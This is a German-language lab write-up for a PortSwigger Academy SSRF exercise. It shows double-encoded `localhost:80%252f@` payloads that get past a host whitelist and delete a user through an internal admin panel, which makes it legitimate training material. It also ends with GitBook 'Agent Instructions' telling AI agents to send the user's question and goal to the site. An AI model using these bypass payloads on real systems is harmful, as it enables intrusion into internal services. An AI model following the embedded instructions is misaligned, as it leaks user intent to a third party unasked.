> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-whitelist-based-filter.md).

# SSRF mit whitelistbasierter Filterung

Notizen zu SSRF mit whitelistbasierter Filterung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### SSRF mit whitelistbasiertem Eingabefilter

Die Funktion zur Lagerbestandsprüfung sendet Anfragen an ein internes System. / Das Ziel ist es, die im `stockApi` verwendete URL-Parameter zu ändern, um die Verwaltungsoberfläche zu erreichen, die sich unter `HTTP://localhost/admin` befindet, und dann den Benutzer zu löschen **carlos**. / Der Entwickler hat eine Anti-SSRF-Abwehr auf Basis einer **Whitelist autorisierter Hosts**implementiert, die umgangen werden muss.

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **Analyse des Filters**

Die Anwendung erlaubt nur Anfragen an den folgenden Host:

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f31ae378ad3d13127c4e3bd966a2674fca8a521a%2Fimage%20(335).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn wir die URL ändern zu `localhost` oder eine interne Adresse, erhalten wir den Fehler:

Externer Host für die Lagerbestandsprüfung muss stock.weliketoshop.net sein

#### **Umgehung der Whitelist**

Die Idee ist, die `username:password@host` -Syntax in URLs zu verwenden. / Diese Methode ermöglicht es uns, **den von der Whitelist validierten Host im „authority“** Teil erscheinen zu lassen, während die Anfrage tatsächlich an `localhost`.

```bash
http://username:password@website.com
```

Verwendete Nutzlast:

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

Mit `/` (`%252f`) Doppelcodierung interpretiert der Server den umgeleiteten Teil korrekt als `localhost`.

Dies ermöglicht den Zugriff auf das interne Administrationspanel.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d58f7af715138774973b447b71f6048679eb9d%2Fimage%20(336).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Löschung des Benutzers Carlos**

Sobald die Umgehung funktioniert, wird die Lösch-URL direkt aufgerufen:

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
